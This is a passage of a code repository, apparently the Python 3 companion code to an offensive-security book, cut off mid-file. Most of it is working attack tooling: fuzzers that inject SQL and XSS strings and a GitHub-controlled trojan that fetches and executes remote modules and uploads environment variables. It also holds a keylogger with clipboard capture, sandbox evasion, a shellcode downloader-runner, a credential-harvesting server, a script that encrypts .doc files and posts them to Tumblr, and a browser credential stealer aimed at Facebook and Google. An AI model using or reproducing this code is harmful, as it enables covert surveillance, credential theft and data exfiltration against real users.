print("hasMorePayloads called.") 36 | if self.num_payloads == self.max_payloads: 37 | print("No more payloads.") 38 | return False 39 | else: 40 | print("More payloads. Continuing.") 41 | return True 42 | 43 | def getNextPayload(self, current_payload): 44 | 45 | # convert into a string 46 | payload = "".join(chr(x) for x in current_payload) 47 | 48 | # call our simple mutator to fuzz the POST 49 | payload = self.mutate_payload(payload) 50 | 51 | # increase the number of fuzzing attempts 52 | self.num_payloads += 1 53 | return payload 54 | 55 | def reset(self): 56 | self.num_payloads = 0 57 | return 58 | 59 | @staticmethod 60 | def mutate_payload(original_payload): 61 | # pick a simple mutator or even call an external script 62 | # like Radamsa does 63 | picker = random.randint(1, 3) 64 | 65 | # select a random offset in the payload to mutate 66 | offset = random.randint(0, len(original_payload) - 1) 67 | payload = original_payload[:offset] 68 | 69 | # random offset insert a SQL injection attempt 70 | if picker == 1: 71 | payload += "'" 72 | 73 | # jam an XSS attempt in 74 | if picker == 2: 75 | payload += "" 76 | 77 | # repeat a chunk of the original payload a random number 78 | if picker == 3: 79 | chunk_length = random.randint(len(payload[offset:]), 80 | len(payload) - 1) 81 | repeater = random.randint(1, 10) 82 | for i in range(repeater): 83 | payload += original_payload[offset:offset + chunk_length] 84 | 85 | # add the remaining bits of the payload 86 | payload += original_payload[offset:] 87 | return payload 88 | -------------------------------------------------------------------------------- /chapter06/bhp_wordlist.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | from burp import IBurpExtender 4 | from burp import IContextMenuFactory 5 | from javax.swing import JMenuItem 6 | from java.util import List, ArrayList 7 | from java.net import URL 8 | import re 9 | from datetime import datetime 10 | from html.parser import HTMLParser 11 | 12 | 13 | class TagStripper(HTMLParser): 14 | def __init__(self): 15 | HTMLParser.__init__(self) 16 | self.page_text = [] 17 | 18 | def handle_data(self, data): 19 | self.page_text.append(data) 20 | 21 | def handle_comment(self, data): 22 | self.handle_data(data) 23 | 24 | def strip(self, html): 25 | self.feed(html) 26 | return " ".join(self.page_text) 27 | 28 | 29 | class BurpExtender(IBurpExtender, IContextMenuFactory): 30 | def registerExtenderCallbacks(self, callbacks): 31 | self._callbacks = callbacks 32 | self._helpers = callbacks.getHelpers() 33 | self.context = None 34 | self.hosts = set() 35 | 36 | # start with something we know is common 37 | self.wordlist = {"password"} 38 | 39 | # we set up our extension 40 | callbacks.setExtensionName("BHP Wordlist") 41 | callbacks.registerContextMenuFactory(self) 42 | return 43 | 44 | def createMenuItems(self, context_menu): 45 | self.context = context_menu 46 | menu_list = ArrayList() 47 | menu_list.add(JMenuItem("Create Wordlist", 48 | actionPerformed=self.wordlist_menu)) 49 | return menu_list 50 | 51 | def wordlist_menu(self, event): 52 | # grab the details of what the user clicked 53 | http_traffic = self.context.getSelectedMessages() 54 | 55 | for traffic in http_traffic: 56 | http_service = traffic.getHttpService() 57 | host = http_service.getHost() 58 | self.hosts.add(host) 59 | http_response = traffic.getResponse() 60 | if http_response: 61 | self.get_words(http_response) 62 | self.display_wordlist() 63 | return 64 | 65 | def get_words(self, http_response): 66 | headers, body = http_response.tostring().split('\r\n\r\n', 1) 67 | 68 | # skip non-text responses 69 | if headers.lower().find("content-type: text") == -1: 70 | return 71 | 72 | tag_stripper = TagStripper() 73 | page_text = tag_stripper.strip(body) 74 | words = re.findall(r'[a-zA-Z]\w{2,}', page_text) 75 | 76 | for word in words: 77 | # filter out long strings 78 | if len(word) <= 12: 79 | self.wordlist.add(word.lower()) 80 | return 81 | 82 | @staticmethod 83 | def mangle(word): 84 | year = datetime.now().year 85 | suffixes = ["", "1", "!", year] 86 | mangled = [] 87 | for password in (word, word.capitalize()): 88 | for suffix in suffixes: 89 | mangled.append("%s%s" % (password, suffix)) 90 | return mangled 91 | 92 | def display_wordlist(self): 93 | print("# BHP Wordlist for site(s) %s" % ", ".join(self.hosts)) 94 | for word in sorted(self.wordlist): 95 | for password in self.mangle(word): 96 | print(password) 97 | return 98 | -------------------------------------------------------------------------------- /chapter06/jython-standalone-2.7.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Joelone/blackhat-python3/98574839f0457be8aef297040f1c8b4d3478f57b/chapter06/jython-standalone-2.7.2.jar -------------------------------------------------------------------------------- /chapter07/config/abc.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "module": "dirlister" 4 | }, 5 | { 6 | "module": "environment" 7 | } 8 | ] -------------------------------------------------------------------------------- /chapter07/git_trojan.py: -------------------------------------------------------------------------------- 1 | import json 2 | import base64 3 | import sys 4 | import time 5 | import types 6 | import random 7 | import threading 8 | import queue 9 | from github3 import login 10 | 11 | trojan_id = "abc" 12 | trojan_config = "config/{}.json".format(trojan_id) 13 | data_path = "data/{}/".format(trojan_id) 14 | trojan_modules = [] 15 | configured = False 16 | task_queue = queue.Queue() 17 | 18 | 19 | class GitImporter(object): 20 | def __init__(self): 21 | self.current_module_code = "" 22 | 23 | def find_module(self, fullname, path=None): 24 | if configured: 25 | print("[*] Attempting to retrieve %s" % fullname) 26 | new_library = get_file_contents("modules/%s" % fullname) 27 | if new_library: 28 | self.current_module_code = base64.b64decode(new_library) 29 | return self 30 | return None 31 | 32 | def load_module(self, name): 33 | module = types.ModuleType(name) 34 | exec(self.current_module_code, module.__dict__) 35 | sys.modules[name] = module 36 | return module 37 | 38 | 39 | def connect_to_github(): 40 | """ You can replace the password in the call to login() below for an 41 | access token generated by GitHub if your account uses 2FA for access 42 | (as it should). Easy-to-follow instructions on how to generate this 43 | token can be found here: 44 | https://help.github.com/en/github/authenticating-to-github/ 45 | creating-a-personal-access-token-for-the-command-line 46 | 47 | If you choose to use the token, simply replace the 'password' 48 | attribute for 'token' below and paste the token generated by 49 | GitHub as a value instead of 'YourPassword'. The code should be: 50 | gh = login(username="YourUsername", token="YourToken") 51 | """ 52 | gh = login(username="YourUsername", password="YourPassword") 53 | repo = gh.repository("YourUsername", "RepositoryName") 54 | branch = repo.branch("master") 55 | return gh, repo, branch 56 | 57 | 58 | def get_file_contents(filepath): 59 | gh, repo, branch = connect_to_github() 60 | tree = branch.commit.commit.tree.to_tree().recurse() 61 | for filename in tree.tree: 62 | if filepath in filename.path: 63 | print("[*] Found file %s" % filepath) 64 | blob = repo.blob(filename._json_data['sha']) 65 | return blob.content 66 | return None 67 | 68 | 69 | def get_trojan_config(): 70 | global configured 71 | config_json = get_file_contents(trojan_config) 72 | configuration = json.loads(base64.b64decode(config_json)) 73 | configured = True 74 | 75 | for tasks in configuration: 76 | if tasks['module'] not in sys.modules: 77 | exec("import %s" % tasks['module']) 78 | 79 | return configuration 80 | 81 | 82 | def store_module_result(data): 83 | gh, repo, branch = connect_to_github() 84 | remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000)) 85 | repo.create_file(remote_path, "Commit message", data.encode()) 86 | return 87 | 88 | 89 | def module_runner(module): 90 | task_queue.put(1) 91 | result = sys.modules[module].run() 92 | task_queue.get() 93 | 94 | # store the result in our repo 95 | store_module_result(result) 96 | return 97 | 98 | 99 | # main trojan loop 100 | sys.meta_path = [GitImporter()] 101 | 102 | while True: 103 | if task_queue.empty(): 104 | config = get_trojan_config() 105 | for task in config: 106 | t = threading.Thread(target=module_runner, args=(task['module'],)) 107 | t.start() 108 | time.sleep(random.randint(1, 10)) 109 | time.sleep(random.randint(1000, 10000)) 110 | -------------------------------------------------------------------------------- /chapter07/modules/dirlister.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def run(): 5 | print("[*] In dirlister module.") 6 | files = os.listdir(".") 7 | 8 | return str(files) 9 | -------------------------------------------------------------------------------- /chapter07/modules/environment.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def run(): 5 | print("[*] In environment module.") 6 | return str(os.environ) 7 | -------------------------------------------------------------------------------- /chapter08/keylogger.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | import pythoncom 3 | import pyHook 4 | import win32clipboard 5 | 6 | user32 = windll.user32 7 | kernel32 = windll.kernel32 8 | psapi = windll.psapi 9 | current_window = None 10 | 11 | 12 | def get_current_process(): 13 | # get a handle to the foreground window 14 | hwnd = user32.GetForegroundWindow() 15 | 16 | # find the process ID 17 | pid = c_ulong(0) 18 | user32.GetWindowThreadProcessId(hwnd, byref(pid)) 19 | 20 | # store the current process ID 21 | process_id = "%d" % pid.value 22 | 23 | # grab the executable 24 | executable = create_string_buffer(b'\x00' * 512) 25 | h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) 26 | 27 | psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512) 28 | 29 | # now read it's title 30 | window_title = create_string_buffer(b'\x00' * 512) 31 | length = user32.GetWindowTextA(hwnd, byref(window_title), 512) 32 | 33 | # print out the header if we're in the right process 34 | print() 35 | print("[ PID: %s - %s - %s ]" % (process_id, 36 | executable.value, 37 | window_title.value) 38 | ) 39 | print() 40 | 41 | # close handles 42 | kernel32.CloseHandle(hwnd) 43 | kernel32.CloseHandle(h_process) 44 | 45 | 46 | def KeyStroke(event): 47 | global current_window 48 | 49 | # check to see if target changed windows 50 | if event.WindowName != current_window: 51 | current_window = event.WindowName 52 | get_current_process() 53 | 54 | # if they pressed a standard key 55 | if 32 < event.Ascii < 127: 56 | print(chr(event.Ascii), end=' ') 57 | else: 58 | # if [Ctrl-V], get the value on the clipboard 59 | # added by Dan Frisch 2014 60 | if event.Key == "V": 61 | win32clipboard.OpenClipboard() 62 | pasted_value = win32clipboard.GetClipboardData() 63 | win32clipboard.CloseClipboard() 64 | print("[PASTE] - %s" % pasted_value, end=' ') 65 | else: 66 | print("[%s]" % event.Key, end=' ') 67 | 68 | # pass execution to next hook registered 69 | return True 70 | 71 | 72 | # create and register a hook manager 73 | kl = pyHook.HookManager() 74 | kl.KeyDown = KeyStroke 75 | 76 | # register the hook and execute forever 77 | kl.HookKeyboard() 78 | pythoncom.PumpMessages() 79 | -------------------------------------------------------------------------------- /chapter08/pyWinhook-1.6.2-cp38-cp38-win_amd64.whl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Joelone/blackhat-python3/98574839f0457be8aef297040f1c8b4d3478f57b/chapter08/pyWinhook-1.6.2-cp38-cp38-win_amd64.whl -------------------------------------------------------------------------------- /chapter08/sandbox_detect.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import random 3 | import time 4 | import sys 5 | 6 | user32 = ctypes.windll.user32 7 | kernel32 = ctypes.windll.kernel32 8 | 9 | keystrokes = 0 10 | mouse_clicks = 0 11 | double_clicks = 0 12 | 13 | 14 | class LASTINPUTINFO(ctypes.Structure): 15 | _fields_ = [("cbSize", ctypes.c_uint), ("dwTime", ctypes.c_ulong)] 16 | 17 | 18 | def get_last_input(): 19 | struct_lastinputinfo = LASTINPUTINFO() 20 | struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO) 21 | 22 | # get last input registered 23 | user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo)) 24 | 25 | # now determine how long the machine has been running 26 | run_time = kernel32.GetTickCount() 27 | elapsed = run_time - struct_lastinputinfo.dwTime 28 | print("[*] It's been %d milliseconds since the last input event." % elapsed) 29 | return elapsed 30 | 31 | 32 | def get_key_press(): 33 | global mouse_clicks 34 | global keystrokes 35 | 36 | for i in range(0, 0xff): 37 | if user32.GetAsyncKeyState(i) == -32767: 38 | # 0x1 is the code for a left mouse click 39 | if i == 1: 40 | mouse_clicks += 1 41 | return time.time() 42 | else: 43 | keystrokes += 1 44 | return None 45 | 46 | 47 | def detect_sandbox(): 48 | global mouse_clicks 49 | global keystrokes 50 | 51 | max_keystrokes = random.randint(10, 25) 52 | max_mouse_clicks = random.randint(5, 25) 53 | 54 | double_clicks = 0 55 | max_double_clicks = 10 56 | double_click_threshold = 0.250 57 | first_double_click = None 58 | 59 | average_mousetime = 0 60 | max_input_threshold = 30000 61 | 62 | previous_timestamp = None 63 | detection_complete = False 64 | 65 | last_input = get_last_input() 66 | 67 | # if we hit our threshold let's bail out 68 | if last_input >= max_input_threshold: 69 | sys.exit(0) 70 | 71 | while not detection_complete: 72 | keypress_time = get_key_press() 73 | if keypress_time is not None and previous_timestamp is not None: 74 | 75 | # calculate the time between double clicks 76 | elapsed = keypress_time - previous_timestamp 77 | 78 | # the user double clicked 79 | if elapsed <= double_click_threshold: 80 | double_clicks += 1 81 | 82 | if first_double_click is None: 83 | 84 | # grab the timestamp of the first double click 85 | first_double_click = time.time() 86 | 87 | else: 88 | # did they try to emulate a rapid succession of clicks? 89 | if double_clicks == max_double_clicks: 90 | if keypress_time - first_double_click <= ( 91 | max_double_clicks * double_click_threshold): 92 | sys.exit(0) 93 | 94 | # we are happy there's enough user input 95 | if keystrokes >= max_keystrokes \ 96 | and double_clicks >= max_double_clicks \ 97 | and mouse_clicks >= max_mouse_clicks: 98 | return 99 | previous_timestamp = keypress_time 100 | 101 | elif keypress_time is not None: 102 | previous_timestamp = keypress_time 103 | 104 | 105 | detect_sandbox() 106 | print("We are ok!") 107 | -------------------------------------------------------------------------------- /chapter08/screenshotter.py: -------------------------------------------------------------------------------- 1 | import win32gui 2 | import win32ui 3 | import win32con 4 | import win32api 5 | 6 | # grab a handle to the main desktop window 7 | hdesktop = win32gui.GetDesktopWindow() 8 | 9 | # determine the size of all monitors in pixels 10 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 11 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 12 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 13 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 14 | 15 | # create a device context 16 | desktop_dc = win32gui.GetWindowDC(hdesktop) 17 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 18 | 19 | # create a memory based device context 20 | mem_dc = img_dc.CreateCompatibleDC() 21 | 22 | # create a bitmap object 23 | screenshot = win32ui.CreateBitmap() 24 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 25 | mem_dc.SelectObject(screenshot) 26 | 27 | # copy the screen into our memory device context 28 | mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 29 | 30 | # save the bitmap to a file 31 | screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') 32 | 33 | # free our objects 34 | mem_dc.DeleteDC() 35 | win32gui.DeleteObject(screenshot.GetHandle()) 36 | -------------------------------------------------------------------------------- /chapter08/shell_exec.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import ctypes 3 | import urllib.request 4 | 5 | # retrieve the shellcode from our web server 6 | url = "http://localhost:8000/shellcode.bin" 7 | response = urllib.request.urlopen(url) 8 | 9 | # decode the shellcode from base64 10 | shellcode = base64.b64decode(response.read()) 11 | 12 | # create a buffer in memory 13 | shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) 14 | 15 | # create a function pointer to our shellcode 16 | shellcode_func = ctypes.cast(shellcode_buffer, 17 | ctypes.CFUNCTYPE(ctypes.c_void_p)) 18 | 19 | # call our shellcode 20 | shellcode_func() 21 | -------------------------------------------------------------------------------- /chapter09/cred_server.py: -------------------------------------------------------------------------------- 1 | import http.server 2 | import socketserver 3 | import urllib.error 4 | import urllib.parse 5 | import urllib.request 6 | 7 | 8 | class CredRequestHandler(http.server.SimpleHTTPRequestHandler): 9 | def do_POST(self): 10 | content_length = int(self.headers['Content-Length']) 11 | creds = self.rfile.read(content_length).decode('utf-8') 12 | print(creds) 13 | site = self.path[1:] 14 | self.send_response(301) 15 | self.send_header('Location', urllib.parse.unquote(site)) 16 | self.end_headers() 17 | 18 | 19 | server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler) 20 | server.serve_forever() 21 | -------------------------------------------------------------------------------- /chapter09/decryptor.py: -------------------------------------------------------------------------------- 1 | import zlib 2 | import base64 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Cipher import PKCS1_OAEP 5 | 6 | encrypted = """XxfaX7nfQ48K+l0rXM3tQf3ShFcytAQ4sLe6vn8bWdreho4riaJ5Dy5PeijSKbsgWSMoeZLmihxb0YAFgCaIp11AUl4kmIiY+c+8LJonbTTembxv98GePM1SEme5/vMwGORJilw+rTdORSHzwbC56sw5NG8KosgLWwHEGEGbhii2qBkuyQrIc9ydoOKKCe0ofTRnaI2c/lb9Ot3vkEIgxCks94H6qVkAfhO34HS7nClUldn9UN040RYgtEqBgvAFzoEhDuRtfjJu1dzyzaFtRAVhcQ6HdgZMWRfpaxKQOmbhXwYyGRQfwNl/Rwgn1EJBFAhvIaEifHDlCw+hLViNYlae7IdfIb6hWtWPyFrkaNjmkbhhXclNgZe0+iPPDzsZbpHI1IckG0gVlTdlGKGz+nK5Cxyso41icC4gO7tmdXDGgF6bMt/GC1VjMVmL/rYsb8jzJblmuQBAeFNacyhjxrzIH5v60RQ1BxwfD+wLCKfyzn3vQucPak2cnwBs3yTIEShYj0ymP4idU/5Qt5qkqMDyvO4U8DmqB4KT58+o2B3c88+lUZjz7c9ygwKjp2hSNf+Dm9H3YJY2Pn6YlydyT1sYWCy06DZko7z3uae5GYGjez8hnCIFt+mpeLvEelSHeZfyV8wYyHg5Y9eA2NZNX6yNVD8IREhjXGWdbGTn41lVCqEiCetY9SKdWeL1Hp/vJN3SOo4qglbQF7P6oqqg0bofnAcphLVaHw/FOGWtW1CFEQUQdIg9bk+SJqM/s1ozJlisenrRzxv3L5LthEfLflCafK0u3n2gPa4F3ok4tx9i+r+MykRTw+OksMfVu71CAMuJdrFQLMSpyWkQ86Vc/QIXgdoCKkAYx5xr/U8gDXkZ4GvL9biEZv/fb5Wh7Br1Hu6idUgTYpEJVVnMuI13ePGeJLA54Il2S7aDyrgfhb61WQmoMRGvLP7uxCjgLwrxZNjAYJTmXszLvvgmI+lHe5o8rgQw6zSGpl9k27urV4bA0Zt+PsYiLNbEQqqxrJxKcbKqozl8XtfMXanct9pKu4vaq8fH/j9jvZ133UtcaR5iTQ0K7P4J5Qoaxz3uUhGrgplZ1jE9Nr0iyRj722dW82b4m1f/h80K7EuvwEeOfdYZl7iFL8yRi9dfopwATjKbKrWFroGCb/wvpc5ujpzDfwAeWsSU4Nve2qBDo5coVt1GI8rzHUh52TQ007JhcYABIxZGSFeeJ3bFgvqO2kUK/Pc36Au0VlNFds/j+fIuMlmFUuckBLCTpE2W9hYqmVOWBmyeZPJNzVI4gLexFbXbg8+0Eq6Pa4MxZsR3wypgC9LE/dvLbQ3oSn9x7nKMXpdq9r+xK1sjodpeYNz7t/5GpFu1teN0SFbmsoXjVEyOAn3L5Gd4Wxua7y9xOixc1H2/bbyNqJZAjEm34DDmNRTQtrqCwOEXwFGKgRGUzPYGC74wAPDDTaQEBv7Toc7rfkzgRX4ROW0SUaEPmi5tAlXe+CKVdJGtLKXUXYRHLMZ4jTzGsD89dmt2r2Fh6AUUN2e9jzzK2ULMnMhRUnDdcM74jbuDHGtXt56pFxFKJ21FQFS8JK0ZOqYa+0JjLuSzrLN9gSCu/JuTPC60LTxLsLcWZVR7cIHQE+sgDtt40/6O1YE7/8rs6qB9re28gDY1s9R5HFtjowO3ylRWqlaV9MC1OGzM4xHPxG2V+2zuq6ol8Cs=""" 7 | 8 | private_key = """-----BEGIN RSA PRIVATE KEY----- 9 | MIIEpAIBAAKCAQEAyXUTgFoL/2EPKoN31l5Tlak7VxhdusNCWQKDfcN5Jj45GQ1o 10 | ZZjsECQ8jK5AaQuCWdmEQkgCEV23L2y71G+Th/zlVPjp0hgC6nOKOuwmlQ1jGvfV 11 | vaNZ0YXrs+sX/wg5FT/bTS4yzXeW6920tdls2N7Pu5N1FLRW5PMhk6GW5rzVhwdD 12 | vnfaUoSVj7oKaIMLbN/TENvnwhZZKlTZeK79ix4qXwYLe66CrgCHDf4oBJ/nO1oY 13 | welxuIXVPhIZnVpkbz3IL6BfEZ3ZDKzGeRs6YLZuR2u5KUbr9uabEzgtrLyOeoK8 14 | UscKmzOvtwxZDcgNijqMJKuqpNZczPHmf9cS1wIDAQABAoIBAAdOiMOKAI9lrNAk 15 | 7o7G4w81kSJqjtO8S0bBMZW5Jka90QJYmyW8MyuutMeBdnKY6URrAEILLJAGryM4 16 | NWPSHC69fG/li02Ec26ffC8A67FSR/rtbEIxj4tq6Q6gg0FLwg5EP6b/+vW61a1+ 17 | YBSMa0c+ZZhvE7sJg3FQZDJflQKPXFHYxOlS42+UyUP8K07cFznsQCvia9mCHUG6 18 | BDFbV/yjbMyYgKTCVmMeaCS2K0TlbcyGpF0Bz95mVpkrU6pHXY0UAJIv4dyguywe 19 | dBZcJlruSRL0OJ+3Gb3CJS7YdsPW807LSyf8gcrHMpgV5z2CdGlaoaLBJyS/nDHi 20 | n07PIbECgYEA4Rjlet1xL/Sr9HnHVUH0m1iST0SrLlQCzrMkiw4g5rCOCnhWPNQE 21 | dpnRpgUWMhhyZj82SwigkdXC2GpvBP6GDg9pB3Njs8qkwEsGI8GFhUQfKf8Bnnd2 22 | w3GUHiRoJpVxrrE3byh23pUiHBdbp7h2+EaOTrRsc2w3Q4NbNF+FOOkCgYEA5R1Z 23 | KvuKn1Sq+0EWpb8fZB+PTwK60qObRENbLdnbmGrVwjNxiBWE4BausHMr0Bz/cQzk 24 | tDyohkHx8clp6Qt+hRFd5CXXNidaelkCDLZ7dasddXm1bmIlTIHjWWSsUEsgUTh7 25 | crjVvghU2Sqs/vCLJCW6WYGb9JD2BI5R9pOClb8CgYEAlsOtGBDvebY/4fwaxYDq 26 | i43UWSFeIiaExtr30+c/pCOGz35wDEfZQXKfF7p6dk0nelJGVBVQLr1kxrzq5QZw 27 | 1UP/Dc18bvSASoc1codwnaTV1rQE6pWLRzZwhYvO8mDQBriNr3cDvutWMEh4zCpi 28 | DMJ9GDwCE4DctuxpDvgXa9kCgYEAuxNjo30Qi1iO4+kZnOyZrR833MPV1/hO50Y4 29 | RRAGBkX1lER9ByjK/k6HBPyFYcDLsntcou6EjFt8OnjDSc5g2DZ9+7QKLeWkMxJK 30 | Yib+V+4Id8uRIThyTC4ifPN+33D4SllcMyhJHome/lOiPegbNMC5kCwMM33J455x 31 | vmxjy/ECgYAOrFR7A9fP4QlPqFCQKDio/FhoQy5ERpl94lGozk4Ma+QDJiRUxA3N 32 | GomBPAvYGntvGgPWrsEHrS01ZoOKGBfk5MgubSPFVI00BD6lccmff/0tOxYtb+Pp 33 | vOGHt9D9yo3DOhyvJbedpi3u3g13G+FZFw6d1T8Jzm5eZUvG7WeUtg== 34 | -----END RSA PRIVATE KEY-----""" 35 | 36 | rsakey = RSA.importKey(private_key) 37 | rsakey = PKCS1_OAEP.new(rsakey) 38 | 39 | offset = 0 40 | decrypted = "" 41 | encrypted = base64.b64decode(encrypted) 42 | 43 | while offset < len(encrypted): 44 | decrypted += rsakey.decrypt(encrypted[offset:offset + 256]) 45 | offset += 256 46 | 47 | # now we decompress to original 48 | plaintext = zlib.decompress(decrypted) 49 | 50 | print(plaintext) 51 | -------------------------------------------------------------------------------- /chapter09/ie_exfil.py: -------------------------------------------------------------------------------- 1 | import win32com.client 2 | import os 3 | import fnmatch 4 | import time 5 | import random 6 | import zlib 7 | 8 | from Crypto.PublicKey import RSA 9 | from Crypto.Cipher import PKCS1_OAEP 10 | 11 | doc_type = ".doc" 12 | username = "test@test.com" 13 | password = "testpassword" 14 | 15 | public_key = """-----BEGIN PUBLIC KEY----- 16 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyXUTgFoL/2EPKoN31l5T 17 | lak7VxhdusNCWQKDfcN5Jj45GQ1oZZjsECQ8jK5AaQuCWdmEQkgCEV23L2y71G+T 18 | h/zlVPjp0hgC6nOKOuwmlQ1jGvfVvaNZ0YXrs+sX/wg5FT/bTS4yzXeW6920tdls 19 | 2N7Pu5N1FLRW5PMhk6GW5rzVhwdDvnfaUoSVj7oKaIMLbN/TENvnwhZZKlTZeK79 20 | ix4qXwYLe66CrgCHDf4oBJ/nO1oYwelxuIXVPhIZnVpkbz3IL6BfEZ3ZDKzGeRs6 21 | YLZuR2u5KUbr9uabEzgtrLyOeoK8UscKmzOvtwxZDcgNijqMJKuqpNZczPHmf9cS 22 | 1wIDAQAB 23 | -----END PUBLIC KEY-----""" 24 | 25 | 26 | def wait_for_browser(browser): 27 | # wait for the browser to finish loading a page 28 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 29 | time.sleep(0.1) 30 | return 31 | 32 | 33 | def encrypt_string(plaintext): 34 | chunk_size = 256 35 | print("Compressing: %d bytes" % len(plaintext)) 36 | plaintext = zlib.compress(plaintext) 37 | print("Encrypting %d bytes" % len(plaintext)) 38 | 39 | rsakey = RSA.importKey(public_key) 40 | rsakey = PKCS1_OAEP.new(rsakey) 41 | encrypted = "" 42 | offset = 0 43 | 44 | while offset < len(plaintext): 45 | chunk = plaintext[offset:offset + 256] 46 | if len(chunk) % chunk_size != 0: 47 | chunk += " " * (chunk_size - len(chunk)) 48 | encrypted += rsakey.encrypt(chunk) 49 | offset += chunk_size 50 | 51 | encrypted = encrypted.encode("base64") 52 | print("Base64 encoded crypto: %d" % len(encrypted)) 53 | return encrypted 54 | 55 | 56 | def encrypt_post(filename): 57 | # open and read the file 58 | fd = open(filename, "rb") 59 | contents = fd.read() 60 | fd.close() 61 | 62 | encrypted_title = encrypt_string(filename) 63 | encrypted_body = encrypt_string(contents) 64 | 65 | return encrypted_title, encrypted_body 66 | 67 | 68 | def random_sleep(): 69 | time.sleep(random.randint(5, 10)) 70 | return 71 | 72 | 73 | def login_to_tumblr(ie): 74 | # retrieve all elements in the document 75 | full_doc = ie.Document.all 76 | 77 | # iterate looking for the logout form 78 | for i in full_doc: 79 | if i.id == "signup_email": 80 | i.setAttribute("value", username) 81 | elif i.id == "signup_password": 82 | i.setAttribute("value", password) 83 | 84 | random_sleep() 85 | 86 | # you can be presented with different homepages 87 | try: 88 | if ie.Document.forms[0].id == "signup_form": 89 | ie.Document.forms[0].submit() 90 | else: 91 | ie.Document.forms[1].submit() 92 | except IndexError: 93 | pass 94 | 95 | random_sleep() 96 | 97 | # the login form is the second form on the page 98 | wait_for_browser(ie) 99 | return 100 | 101 | 102 | def post_to_tumblr(ie, title, post): 103 | full_doc = ie.Document.all 104 | 105 | for i in full_doc: 106 | if i.id == "post_one": 107 | i.setAttribute("value", title) 108 | title_box = i 109 | i.focus() 110 | elif i.id == "post_two": 111 | i.setAttribute("innerHTML", post) 112 | print("Set text area") 113 | i.focus() 114 | elif i.id == "create_post": 115 | print("Found post button") 116 | post_form = i 117 | i.focus() 118 | 119 | # move focus away from the main content box 120 | random_sleep() 121 | title_box.focus() 122 | random_sleep() 123 | 124 | # post the form 125 | post_form.children[0].click() 126 | wait_for_browser(ie) 127 | 128 | random_sleep() 129 | return 130 | 131 | 132 | def exfiltrate(document_path): 133 | ie = win32com.client.Dispatch("InternetExplorer.Application") 134 | ie.Visible = 1 135 | 136 | # head to tumblr and login 137 | ie.Navigate("http://www.tumblr.com/login") 138 | wait_for_browser(ie) 139 | 140 | print("Logging in...") 141 | login_to_tumblr(ie) 142 | print("Logged in...navigating") 143 | 144 | ie.Navigate("https://www.tumblr.com/new/text") 145 | wait_for_browser(ie) 146 | 147 | # encrypt the file 148 | title, body = encrypt_post(document_path) 149 | 150 | print("Creating new post...") 151 | post_to_tumblr(ie, title, body) 152 | print("Posted!") 153 | 154 | # Destroy the IE instance 155 | ie.Quit() 156 | ie = None 157 | 158 | return 159 | 160 | 161 | # main loop for document discovery 162 | for parent, directories, filenames in os.walk("C:\\"): 163 | for filename in fnmatch.filter(filenames, "*%s" % doc_type): 164 | document_path = os.path.join(parent, filename) 165 | print("Found: %s" % document_path) 166 | exfiltrate(document_path) 167 | input("Continue?") 168 | -------------------------------------------------------------------------------- /chapter09/keygen.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | 4 | new_key = RSA.generate(2048) 5 | 6 | public_key = new_key.publickey().exportKey("PEM") 7 | private_key = new_key.exportKey("PEM") 8 | 9 | print(public_key) 10 | print(private_key) 11 | -------------------------------------------------------------------------------- /chapter09/mitb.py: -------------------------------------------------------------------------------- 1 | import time 2 | import urllib.parse 3 | import win32com.client 4 | 5 | data_receiver = "http://localhost:8080/" 6 | 7 | target_sites = { 8 | "www.facebook.com": 9 | { 10 | "logout_url": None, 11 | "logout_form": "logout_form", 12 | "login_form_index": 0, 13 | "owned": False 14 | }, 15 | "accounts.google.com": 16 | { 17 | "logout_url": "https://accounts.google.com/Logout?hl=en&continue=" 18 | "https://accounts.google.com/" 19 | "ServiceLogin%3Fservice%3Dmail", 20 | "logout_form": None, 21 | "login_form_index": 0, 22 | "owned": False 23 | } 24 | } 25 | 26 | target_sites["www.gmail.com"] = target_sites["accounts.google.com"] 27 | target_sites["mail.google.com"] = target_sites["accounts.google.com"] 28 | 29 | clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' 30 | 31 | windows = win32com.client.Dispatch(clsid) 32 | 33 | 34 | def wait_for_browser(browser): 35 | # wait for the browser to finish loading a page 36 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 37 | time.sleep(0.1) 38 | return 39 | 40 | 41 | while True: 42 | for browser in windows: 43 | url = urllib.parse.urlparse(browser.LocationUrl) 44 | if url.hostname in target_sites: 45 | if target_sites[url.hostname]["owned"]: 46 | continue 47 | # if there is a URL we can just redirect 48 | if target_sites[url.hostname]["logout_url"]: 49 | browser.Navigate(target_sites[url.hostname]["logout_url"]) 50 | wait_for_browser(browser) 51 | else: 52 | # retrieve all elements in the document 53 | full_doc = browser.Document.all 54 | # iterate looking for the logout form 55 | for i in full_doc: 56 | try: 57 | # find the 